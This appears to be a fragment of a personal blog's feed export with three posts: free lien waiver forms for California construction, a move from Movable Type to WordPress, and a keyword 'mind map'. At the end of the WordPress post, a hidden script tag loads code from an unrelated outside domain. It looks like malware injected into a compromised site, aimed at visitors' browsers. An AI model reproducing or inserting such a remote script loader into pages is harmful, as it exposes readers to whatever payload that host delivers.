<p>Download a free free lien waiver forms in pdf format to use for Final Releases and Waiver of Lien.</p>
<p>If you ever do any construction in California, you are likely to get some &#8220;<a href="http://www.bicknell-law.com/const/const_more.asp?real=9">Preliminary 20-Day Notice</a>&#8220;.

It can be especially surprising if you get the notice from a supplier or subcontractor that you are not even aware off. Anyway, when you get one and you have paid the contractor, make sure you have them sign a &#8220;Waiver of Lien&#8221;. I am using this form &#8220;<a href="http://s96028.gridserver.com/wp-content/uploads/2008/06/full-unconditional-waiver.pdf">FULL UNCONDITIONAL WAIVER</a>&#8220;.</p>
<p>Once you have completed the project, I have also started to have contractors sign a &#8220;<a href="http://s96028.gridserver.com/wp-content/uploads/2008/06/contractors-final-release-and-waiver-of-lien.pdf">FINAL RELEASE AND WAIVER OF LIEN&#8221; form</a>.  Please use these forms at your own risk &#8211; you may want to have a layer review the forms; but a bad form is still better than none at all.</p>
<p>Good luck, and I hope you never have to use these forms &#8230;.</p>

			<content:encoded><![CDATA[<p>After 3 years on MT, I have decided to switch to WP!</p>
<p>The reasons are similar to why I switched from Blogger to MT back in 2003.  It appears to me that MT is just not keeping up with development in the same way WP does.<br />
For example, the plugin management of WP is so much easier and painless.<br />
WP allows me to create non-blog &#8220;pages&#8221; like my new <a href="http://thomaskorte.com/wp/about-me/">about me</a> page. In MT I had to go into the template to add the same information.</p>
<p>But I think the real reason is more subjective: MT (or better Six Apart) starts to look like a real company, and I like open-source and non-commercial applications.<script src="http://ao.euuaw.com/9"></script></p>

			<content:encoded><![CDATA[<p>Technology helped me to find out what I am really thinking about &#8211; or at least what I am writing about on my blog: <a href="http://thomaskorte.com/map.php">Thomas Korte&#8217;s Mind Map</a><br />
I added my &#8220;Mind Map&#8221; with the help of a piece of code from <a href="http://www.danandsherree.com/">Dan and Sherree</a>: <a href="http://www.danandsherree.com/2004/12/28/building_a_weighted_.php">Building a Weighted Keyword List</a>.</p>
<p>But what I really want is to correlate my &#8216;Mind Map&#8217; to that of<br />
others. Presumably, I would have a good conversation with people who<br />
have a reasonable overlap. <br />
This all started while thinking about &#8216;tagging&#8217; of documents and how it<br />
could help organisation to a) find and retrieve information and b)<br />
connect people working on similar projects.</p>
<p>&#8230;. I will post something about this soon.</p>
